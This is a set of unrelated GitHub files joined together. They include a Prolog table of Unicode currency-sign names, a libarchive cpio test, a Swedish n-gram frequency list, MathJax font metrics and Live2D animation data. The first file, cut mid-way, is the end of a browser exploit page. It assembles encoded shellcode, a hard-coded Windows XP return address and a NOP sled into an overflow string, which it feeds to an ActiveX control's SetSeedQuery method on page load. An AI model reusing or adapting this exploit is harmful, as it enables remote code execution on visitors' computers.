"%4a%58%6b%52%6d%4a%48%4a%59%6b%4f%6b%4f%69%6f%41" + "%70%4e%6b%52%4c%74%64%41%34%6e%6b%37%35%55%6c%4c" + "%4b%71%6c%64%45%61%68%74%41%6a%4f%6e%6b%62%6f%32" + "%38%6c%4b%33%6f%37%50%55%51%78%6b%31%59%6c%4b%50" + "%34%6e%6b%46%61%68%6e%45%61%6f%30%6c%59%6c%6c%6b" + "%34%39%50%41%64%37%77%68%41%69%5a%56%6d%63%31%4b" + "%72%78%6b%6c%34%75%6b%56%34%31%34%57%58%54%35%6b" + "%55%6e%6b%33%6f%55%74%74%41%78%6b%41%76%4c%4b%46" + "%6c%62%6b%6e%6b%41%4f%35%4c%56%61%68%6b%66%63%36" + "%4c%6c%4b%6b%39%72%4c%44%64%57%6c%61%71%4f%33%47" + "%41%6b%6b%33%54%4c%4b%63%73%70%30%6c%4b%53%70%64" + "%4c%6c%4b%72%50%45%4c%4e%4d%6c%4b%37%30%75%58%73" + "%6e%42%48%4c%4e%52%6e%46%6e%58%6c%56%30%39%6f%58" + "%56%71%76%46%33%72%46%63%58%30%33%70%32%33%58%54" + "%37%52%53%45%62%51%4f%50%54%4b%4f%5a%70%33%58%6a" + "%6b%68%6d%59%6c%45%6b%46%30%49%6f%59%46%73%6f%4e" + "%69%58%65%73%56%4d%51%58%6d%36%68%64%42%72%75%72" + "%4a%67%72%59%6f%6e%30%72%48%4a%79%56%69%6b%45%6e" + "%4d%76%37%6b%4f%58%56%33%63%30%53%50%53%76%33%70" + "%53%33%73%53%63%37%33%56%33%6b%4f%5a%70%32%46%50" + "%68%35%41%71%4c%30%66%33%63%6c%49%6d%31%6a%35%70" + "%68%6e%44%35%4a%52%50%4b%77%71%47%4b%4f%4e%36%30" + "%6a%52%30%31%41%70%55%59%6f%6e%30%30%68%6c%64%4c" + "%6d%54%6e%79%79%31%47%59%6f%59%46%46%33%66%35%6b" + "%4f%58%50%63%58%4b%55%73%79%4c%46%41%59%63%67%4b" + "%4f%78%56%76%30%53%64%41%44%33%65%79%6f%4e%30%4e" + "%73%71%78%58%67%61%69%69%56%71%69%62%77%39%6f%6a" + "%76%51%45%49%6f%4e%30%51%76%53%5a%71%74%72%46%62" + "%48%30%63%30%6d%6c%49%5a%45%63%5a%62%70%76%39%31" + "%39%58%4c%4e%69%4d%37%53%5a%33%74%4e%69%4b%52%56" + "%51%4b%70%6c%33%6f%5a%49%6e%33%72%44%6d%6b%4e%37" + "%32%76%4c%6e%73%6c%4d%70%7a%76%58%6c%6b%4e%4b%4c" + "%6b%73%58%53%42%79%6e%6d%63%74%56%6b%4f%30%75%70" + "%44%4b%4f%79%46%53%6b%70%57%70%52%71%41%50%51%42" + "%71%41%7a%33%31%42%71%41%41%51%45%66%31%69%6f%5a" + "%70%50%68%6e%4d%5a%79%56%65%68%4e%33%63%39%6f%58" + "%56%63%5a%4b%4f%4b%4f%70%37%4b%4f%4a%70%4c%4b%61" + "%47%6b%4c%4d%53%6b%74%31%74%49%6f%59%46%70%52%59" + "%6f%4e%30%63%58%6c%30%6f%7a%57%74%61%4f%32%73%4b" + "%4f%68%56%39%6f%38%50%43"); var eip = unescape("%2B%1C%E1%77"); //advapi32.dll Windows XP SP2 English 0x77E11C2B call esp var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90"); var m = buf + eip + nop + shellcode2 + nop; obj.SetSeedQuery(m); } </script> </head> <body onload="JavaScript: return Check();"> <object id="obj" classid="clsid:C1908682-7B2C-4AB0-B98E-183649A0BF84"> Unable to create object </object> </body> </html>
{ "pile_set_name": "Github" }
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % This file is part of VivoMind Prolog Unicode Resources % % VivoMind Prolog Unicode Resources is free software distributed using the % Creative Commons CC0 1.0 Universal (CC0 1.0) - Public Domain Dedication % license % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % Last modified: March 13, 2012 unicode_name(0x0024, 'DOLLAR SIGN'). unicode_name(0x00A2, 'CENT SIGN'). unicode_name(0x00A3, 'POUND SIGN'). unicode_name(0x00A4, 'CURRENCY SIGN'). unicode_name(0x00A5, 'YEN SIGN'). unicode_name(0x058F, 'ARMENIAN DRAM SIGN'). unicode_name(0x060B, 'AFGHANI SIGN'). unicode_name(0x09F2, 'BENGALI RUPEE MARK'). unicode_name(0x09F3, 'BENGALI RUPEE SIGN'). unicode_name(0x09FB, 'BENGALI GANDA MARK'). unicode_name(0x0AF1, 'GUJARATI RUPEE SIGN'). unicode_name(0x0BF9, 'TAMIL RUPEE SIGN'). unicode_name(0x0E3F, 'THAI CURRENCY SYMBOL BAHT'). unicode_name(0x17DB, 'KHMER CURRENCY SYMBOL RIEL'). unicode_name(0x20A0, 'EURO-CURRENCY SIGN'). unicode_name(0x20A1, 'COLON SIGN'). unicode_name(0x20A2, 'CRUZEIRO SIGN'). unicode_name(0x20A3, 'FRENCH FRANC SIGN'). unicode_name(0x20A4, 'LIRA SIGN'). unicode_name(0x20A5, 'MILL SIGN'). unicode_name(0x20A6, 'NAIRA SIGN'). unicode_name(0x20A7, 'PESETA SIGN'). unicode_name(0x20A8, 'RUPEE SIGN'). unicode_name(0x20A9, 'WON SIGN'). unicode_name(0x20AA, 'NEW SHEQEL SIGN'). unicode_name(0x20AB, 'DONG SIGN'). unicode_name(0x20AC, 'EURO SIGN'). unicode_name(0x20AD, 'KIP SIGN'). unicode_name(0x20AE, 'TUGRIK SIGN'). unicode_name(0x20AF, 'DRACHMA SIGN'). unicode_name(0x20B0, 'GERMAN PENNY SIGN'). unicode_name(0x20B1, 'PESO SIGN'). unicode_name(0x20B2, 'GUARANI SIGN'). unicode_name(0x20B3, 'AUSTRAL SIGN'). unicode_name(0x20B4, 'HRYVNIA SIGN'). unicode_name(0x20B5, 'CEDI SIGN'). unicode_name(0x20B6, 'LIVRE TOURNOIS SIGN'). unicode_name(0x20B7, 'SPESMILO SIGN'). unicode_name(0x20B8, 'TENGE SIGN'). unicode_name(0x20B9, 'INDIAN RUPEE SIGN'). unicode_name(0x20BA, 'TURKISH LIRA SIGN'). unicode_name(0xA838, 'NORTH INDIC RUPEE MARK'). unicode_name(0xFDFC, 'RIAL SIGN'). unicode_name(0xFE69, 'SMALL DOLLAR SIGN'). unicode_name(0xFF04, 'FULLWIDTH DOLLAR SIGN'). unicode_name(0xFFE0, 'FULLWIDTH CENT SIGN'). unicode_name(0xFFE1, 'FULLWIDTH POUND SIGN'). unicode_name(0xFFE5, 'FULLWIDTH YEN SIGN'). unicode_name(0xFFE6, 'FULLWIDTH WON SIGN').
{ "pile_set_name": "Github" }
/*- * Copyright (c) 2003-2007 Tim Kientzle * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "test.h" __FBSDID("$FreeBSD: head/lib/libarchive/test/test_read_format_cpio_svr4c_Z.c 189381 2009-03-05 00:31:48Z kientzle $"); static unsigned char archive[] = { 31,157,144,'0','n',4,132,'!',3,6,140,26,'8','n',228,16,19,195,160,'A',26, '1',202,144,'q','h','p','F',25,28,20,'a','X',196,152,145,' ',141,25,2,'k', 192,160,'A',163,163,201,135,29,'c',136,'<',201,'2','c','A',147,'.',0,12,20, 248,178,165,205,155,20,27,226,220,201,243,166,152,147,'T',164,4,'I',194,164, 136,148,16,'H',1,'(',']',202,180,169,211,167,'P',163,'J',157,'J',181,170, 213,171,'X',179,'j',221,202,181,171,215,175,'L',1}; DEFINE_TEST(test_read_format_cpio_svr4c_Z) { struct archive_entry *ae; struct archive *a; /* printf("Archive address: start=%X, end=%X\n", archive, archive+sizeof(archive)); */ assert((a = archive_read_new()) != NULL); assertEqualIntA(a, ARCHIVE_OK, archive_read_support_filter_all(a)); assertEqualIntA(a, ARCHIVE_OK, archive_read_support_format_all(a)); assertEqualIntA(a, ARCHIVE_OK, archive_read_open_memory(a, archive, sizeof(archive))); assertEqualIntA(a, ARCHIVE_OK, archive_read_next_header(a, &ae)); failure("archive_filter_name(a, 0)=\"%s\"", archive_filter_name(a, 0)); assertEqualInt(archive_filter_code(a, 0), ARCHIVE_FILTER_COMPRESS); failure("archive_format_name(a)=\"%s\"", archive_format_name(a)); assertEqualInt(archive_format(a), ARCHIVE_FORMAT_CPIO_SVR4_CRC); assertEqualInt(archive_entry_is_encrypted(ae), 0); assertEqualIntA(a, archive_read_has_encrypted_entries(a), ARCHIVE_READ_FORMAT_ENCRYPTION_UNSUPPORTED); assertEqualIntA(a, ARCHIVE_OK, archive_read_close(a)); assertEqualInt(ARCHIVE_OK, archive_read_free(a)); }
{ "pile_set_name": "Github" }
_ 33494 e 8992 n 7900 t 7859 a 7781 r 7251 s 6435 i 5649 l 4541 d 4079 o 3724 m 3203 k 3058 g 2478 en 2403 n_ 2389 t_ 2073 de 1939 r_ 1910 v 1890 h 1789 u 1782 _s 1768 ä 1724 er 1709 f 1597 en_ 1537 a_ 1526 an 1357 p 1320 et 1317 ö 1278 å 1261 st 1236 ar 1226 c 1191 _d 1158 e_ 1116 in 1045 _f 1027 te 1000 b 997 _a 978 s_ 974 ra 958 . 956 tt 935 _i 898 _m 890 ._ 886 ll 870 ta 844 _o 842 _e 839 nd 820 ti 804 sk 798 re 779 at 769 _de 754 om 743 m_ 739 ör 720 , 697 ,_ 695 ng 686 li 673 ka 666 oc 662 _h 654 on 652 et_ 647 ch 645 ns 643 is 642 er_ 630 är 625 _v 614 _t 614 ni 611 i_ 609 _oc 592 tt_ 587 na 586 y 586 la 579 _b 579 h_ 577 kt 575 ch_ 568 ig 564 fö 563 och 555 or 555 _och 554 och_ 554 _och_ 553 me 548 den 548 om_ 535 _i_ 531 d_ 530 j 529 ik 520 de_ 520 för 518 ge 498 ad 497 _k 491 _fö 487 ri 484 el 482 il 481 so 480 al 474 g_ 469 le 464 an_ 461 _för 447 si 437 ar_ 437 att 435 _p 434 es 420 ing 413 se 407 to 404 _u 403 _en 403 and 398 den_ 395 nde 393 nn 393 _l 391 å_ 391 D 385 än 383 nt 382 l_ 381 tr 378 _D 372 va 370 am 369 sa 367 _so 365 ga 364 _en_ 361 är_ 358 ck 357 av 354 v_ 351 ed 347 ma 346 da 346 som 346 rs 344 som_ 344 ve 342 ter 341 att_ 341 ha 338 ne 337 ut 335 as 332 ska 329 _at 327 _att 326 _som 324 _att_ 324 _som_ 323 vi 322 ikt 317 _av 316 det 316 _den 315 he 315 ss 314 un 307 ke 304 _g 303 us 302 di 302 _st 300 rn 297 _me 296 _ä 295 ade 294 " 290 _ha 290 av_ 289 ill 288 _n 286 _in 279 io 275 _r 275 der 275 it 274 _av_ 274 sta 274 gen 272 isk 270 _ti 269 id 265 na_ 265 ns_ 264 ko 262 _den_ 261 ag 258 det_ 257 lig 257 era 256 ll_ 255 _det 252 _är 251 be 249 _är_ 248 ra_ 247 ion 244 - 241 pr 240 oni 233 til 231 ten 228 _si 225 k_ 222 på 222 fr 221 ro 219 till 219 iv 216 ls 216 ande 215 ör_ 214 _det_ 213 äl 212 _på 211 ts 210 ens 209 med 209 mm 208 rt 208 _till 208 _til 208 _va 207 _fr 205 _sk 205 var 205 nin 204 ning 203 ol 201 ka_ 200 lle 198 ett 198 rd 197 em 196 på_ 195 x 195 rk 194 _ut 194 ste 194 ds 193 _vi 192 år 192 S 192 nde_ 191 are 191 ver 190 _på_ 190 nis 189 kr 189 _med 188 all 188 ån 187 nge 185 mo 184 os 183 ld 182 ade_ 181 _S 181 ed_ 180 rä 176 De 175 _- 175 kan 174 ta_ 173 ng_ 172 vä 171 för_ 170 ill_ 170 han 170 _De 170 pp 169 lt 169 sam 168 nte 167 ans 167 ton 166 ur 165 mi 165 ess 165 kl 164 ig_ 164 ks 164 as_ 163 und 163 men 162 med_ 161 _med_ 161 ak 161 Di 160 ot 159 rna 159 ul 159 _var 159 te_ 158 gen_ 158 het 157 kto 157 str 156 _Di 155 tad 155 lan 154 ga_ 154 iska 154 fa 154 fi 154 så 154 Dikt 153 Dik 153 pe 153 ska_ 152 ja 152 H 151 res 151 ku 151 iu 150 ande_ 150 till_ 150 t. 150 ern 150 rm 149 _Dikt 149 _Dik 149 ie 149 bl 148 -_ 147 od 147 _H 147 n. 147 ist 147 _di 146 ius 146 _" 145 la_ 145 sl 145 man 145 ren 145 _för_ 145 toni 144 kton 144 n._ 144 ktoni 144 ikton 144 I 144 ikto 144 nius 143 ten_ 143 onius 143 oniu 143 toniu 143 ing_ 143 Dikto 143 niu 143 _ko 143 ic 142 _sa 142 _han 142 ett_ 142 sm 141 ba 141 M 141 gr 140 lä 140 ex 138 t._ 138 sp 137 lla 137 _et 137 _M 137 dr 137 rö 136 rad 136 ek 136 _be 135 tar 135 _-_ 135 _om 134 rl 134 E 134 mä 133
{ "pile_set_name": "Github" }
/* * /MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/BasicLatin.js * * Copyright (c) 2009-2018 The MathJax Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_SansSerif-bold"],{32:[0,0,250,0,0],33:[694,0,367,110,256],34:[694,-442,558,37,420],35:[694,193,917,61,855],36:[750,56,550,49,488],37:[750,56,1029,61,966],38:[716,22,831,47,769],39:[694,-442,306,80,226],40:[750,249,428,79,366],41:[750,250,428,61,348],42:[750,-293,550,67,482],43:[617,116,856,61,794],44:[146,106,306,80,226],45:[273,-186,367,12,305],46:[146,0,306,80,226],47:[750,249,550,61,488],48:[715,22,550,43,506],49:[716,-1,550,76,473],50:[716,0,550,46,495],51:[716,22,550,46,503],52:[694,0,550,31,518],53:[694,22,550,37,494],54:[716,22,550,46,503],55:[695,11,550,46,503],56:[715,22,550,46,503],57:[716,22,550,46,503],58:[458,0,306,80,226],59:[458,106,306,80,226],61:[407,-94,856,61,794],63:[705,0,519,61,457],64:[704,11,733,61,671],65:[694,0,733,42,690],66:[694,-1,733,92,671],67:[704,11,703,61,647],68:[694,-1,794,92,732],69:[691,0,642,92,595],70:[691,0,611,92,564],71:[705,11,733,61,659],72:[694,0,794,92,702],73:[694,0,331,85,246],74:[694,22,519,46,427],75:[694,0,764,92,701],76:[694,0,581,92,534],77:[694,0,978,92,886],78:[694,0,794,92,702],79:[716,22,794,62,731],80:[694,0,703,92,641],81:[716,106,794,62,732],82:[694,0,703,92,654],83:[716,22,611,49,549],84:[688,0,733,40,692],85:[694,22,764,92,672],86:[694,-1,733,27,705],87:[694,0,1039,24,1014],88:[694,0,733,37,694],89:[694,0,733,24,708],90:[694,0,672,61,616],91:[750,250,343,79,318],93:[750,250,343,24,263],94:[694,-537,550,108,441],95:[-23,110,550,0,549],97:[475,11,525,31,472],98:[694,10,561,54,523],99:[475,11,489,37,457],100:[694,11,561,37,507],101:[474,10,511,30,480],102:[705,0,336,29,381],103:[469,206,550,17,534],104:[694,0,561,53,508],105:[695,0,256,46,208],106:[695,205,286,-71,232],107:[694,0,531,63,496],108:[694,0,256,54,201],109:[469,0,867,53,815],110:[468,0,561,53,508],111:[474,11,550,32,518],112:[469,194,561,54,523],113:[469,194,561,37,507],114:[469,0,372,54,356],115:[474,10,422,30,396],116:[589,10,404,20,373],117:[458,11,561,52,508],118:[458,0,500,26,473],119:[458,0,744,24,719],120:[458,0,500,24,475],121:[458,205,500,29,473],122:[458,0,476,31,442],126:[344,-198,550,92,457]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SansSerif/Bold/BasicLatin.js");
{ "pile_set_name": "Github" }
# Live2D Animator Motion Data $fps=30 $fadein=1000 $fadeout=1000 $fadein:PARAM_EYE_L_OPEN=300 $fadeout:PARAM_EYE_L_OPEN=300 $fadein:PARAM_EYE_L_SMILE=300 $fadeout:PARAM_EYE_L_SMILE=300 $fadein:PARAM_EYE_R_OPEN=300 $fadeout:PARAM_EYE_R_OPEN=300 $fadein:PARAM_EYE_R_SMILE=300 $fadeout:PARAM_EYE_R_SMILE=300 $fadein:PARAM_MOUTH_FORM=300 $fadeout:PARAM_MOUTH_FORM=300 $fadein:PARAM_MOUTH_OPEN_Y=300 $fadeout:PARAM_MOUTH_OPEN_Y=300 $fadein:PARAM_MOUTH_AWAWA=300 $fadeout:PARAM_MOUTH_AWAWA=300 $fadein:PARAM_MOUTH_SCALE=300 $fadeout:PARAM_MOUTH_SCALE=300 PARAM_ANGLE_X=0,-1.32,-3.71,-5.73,-7,-8.53,-9.96,-11.2,-12.25,-13.09,-13.71,-14.15,-14.59,-14.99,-15.34,-15.65,-15.92,-16.15,-16.35,-16.51,-16.64,-16.75,-16.84,-16.9,-16.95,-16.98,-16.995,-17,-16.81,-16.25,-15.4,-14.25,-12.85,-11.24,-9.49,-7.58,-5.58,-3.52,-1.48,0.58,2.58,4.49,6.24,7.85,9.25,10.4,11.25,11.81,12,11.95,11.82,11.62,11.34,11,10.6,10.16,9.69,9.18,8.65,8.1,7.56,7,6.46,5.92,5.4,4.91,4.44,4,3.49,3.09,2.77,2.5,2.27,2.06,1.85,1.66,1.46,1.24,1,0.7,0.46,0.28,0.15,0.06,0.01,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PARAM_ANGLE_Y=0,-1.45,-3.83,-5.47,-6,-5.45,-3.97,-1.84,0.69,3.31,5.84,7.97,9.45,10,9.992,9.96,9.91,9.82,9.69,9.52,9.3,9.02,8.68,8.28,7.79,7.23,6.57,5.83,5,4.05,3.03,1.94,0.82,-0.27,-1.33,-2.33,-3.19,-3.94,-4.51,-4.87,-5,-4.58,-3.46,-1.76,0.35,2.7,5.19,7.64,9.93,11.95,13.65,14.93,15.73,16,15.98,15.9,15.76,15.52,15.19,14.76,14.2,13.51,12.69,11.7,10.57,9.24,7.71,6,3.39,0.48,-2.5,-5.5,-8.33,-10.95,-13.31,-15.22,-16.72,-17.66,-18,-17.48,-16.1,-14.18,-11.92,-9.55,-7.21,-5,-2.01,0.4,2.32,3.89,5.12,6.09,6.84,7.37,7.73,7.93,8,6.86,3.89,-0.41,-5.33,-10.43,-15.19,-19.25,-22.36,-24.31,-25,-24.45,-23.28,-21.81,-20.29,-18.89,-17.74,-16.97,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69,-16.69 PARAM_ANGLE_Z=0 PARAM_EYE_L_OPEN=1,1,1,1,1,1,0.82,0.54,0.27,0.08,0,0,0,0.18,0.46,0.73,0.92,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0.82,0.54,0.27,0.08,0,0,0,0.18,0.46,0.73,0.92,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0.82,0.54,0.27,0.08,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PARAM_EYE_L_SMILE=0,0,0.001,0.003,0.005,0.007,0.011,0.014,0.018,0.023,0.028,0.034,0.04,0.047,0.054,0.061,0.069,0.078,0.086,0.095,0.105,0.115,0.125,0.135,0.146,0.157,0.169,0.18,0.192,0.204,0.217,0.229,0.242,0.255,0.269,0.282,0.296,0.31,0.323,0.338,0.352,0.366,0.381,0.395,0.41,0.424,0.439,0.454,0.469,0.483,0.498,0.513,0.528,0.542,0.557,0.572,0.587,0.601,0.616,0.63,0.644,0.658,0.673,0.686,0.7,0.714,0.727,0.74,0.753,0.766,0.779,0.791,0.803,0.815,0.827,0.838,0.849,0.86,0.87,0.88,0.89,0.9,0.909,0.918,0.926,0.934,0.941,0.949,0.955,0.962,0.968,0.973,0.978,0.983,0.987,0.99,0.993,0.995,0.997,0.999,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 PARAM_EYE_R_OPEN=1,1,1,1,1,1,0.82,0.54,0.27,0.08,0,0,0,0.18,0.46,0.73,0.92,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0.82,0.54,0.27,0.08,0,0,0,0.18,0.46,0.73,0.92,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0.82,0.54,0.27,0.08,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PARAM_EYE_R_SMILE=0,0,0.001,0.003,0.005,0.007,0.011,0.014,0.018,0.023,0.028,0.034,0.04,0.047,0.054,0.061,0.069,0.078,0.086,0.095,0.105,0.115,0.125,0.135,0.146,0.157,0.169,0.18,0.192,0.204,0.217,0.229,0.242,0.255,0.269,0.282,0.296,0.31,0.323,0.338,0.352,0.366,0.381,0.395,0.41,0.424,0.439,0.454,0.469,0.483,0.498,0.513,0.528,0.542,0.557,0.572,0.587,0.601,0.616,0.63,0.644,0.658,0.673,0.686,0.7,0.714,0.727,0.74,0.753,0.766,0.779,0.791,0.803,0.815,0.827,0.838,0.849,0.86,0.87,0.88,0.89,0.9,0.909,0.918,0.926,0.934,0.941,0.949,0.955,0.962,0.968,0.973,0.978,0.983,0.987,0.99,0.993,0.995,0.997,0.999,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 PARAM_EYE_UNDER=0 PARAM_EYE_BALL_X=-0.01,-0.01,-0.01,-0.01,-0.01,-0.01,-0.011,-0.01,-0.012,-0.013,-0.01,-0.014,-0.015,-0.016,-0.02,-0.018,-0.019,-0.02,-0.021,-0.022,-0.023,-0.024,-0.026,-0.027,-0.028,-0.029,-0.031,-0.032,-0.033,-0.034,-0.036,-0.037,-0.038,-0.04,-0.041,-0.043,-0.044,-0.045,-0.047,-0.048,-0.049,-0.05,-0.052,-0.053,-0.054,-0.055,-0.056,-0.058,-0.059,-0.06,-0.061,-0.062,-0.063,-0.063,-0.064,-0.065,-0.07,-0.067,-0.067,-0.07,-0.068,-0.07,-0.069,-0.07,-0.07,-0.07,-0.07,-0.07,-0.07,-0.068,-0.065,-0.061,-0.057,-0.052,-0.047,-0.041,-0.036,-0.03,-0.025,-0.02,-0.015,-0.011,-0.007,-0.004,-0.002,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PARAM_EYE_BALL_Y=0.25,0.25,0.25,0.249,0.248,0.247,0.245,0.243,0.242,0.239,0.237,0.234,0.232,0.229,0.226,0.222,0.219,0.215,0.212,0.208,0.204,0.2,0.196,0.191,0.187,0.183,0.178,0.174,0.169,0.164,0.16,0.155,0.15,0.146,0.141,0.136,0.131,0.127,0.122,0.118,0.113,0.109,0.104,0.1,0.096,0.092,0.088,0.084,0.08,0.076,0.073,0.069,0.066,0.063,0.06,0.057,0.054,0.052,0.05,0.048,0.046,0.045,0.043,0.042,0.041,0.041,0.04,0.04,0.041,0.044,0.05,0.056,0.064,0.073,0.083,0.093,0.104,0.114,0.124,0.134,0.142,0.15,0.157,0.163,0.167,0.169,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17,0.17 PARAM_EYE_BALL_FORM=0 PARAM_BROW_L_Y=0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04,0.04 PARAM_BROW_R_Y=0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01 PARAM_BROW_L_X=0 PARAM_BROW_R_X=0 PARAM_BROW_L_ANGLE=-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.71,-0.58,-0.38,-0.19,-0.05,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 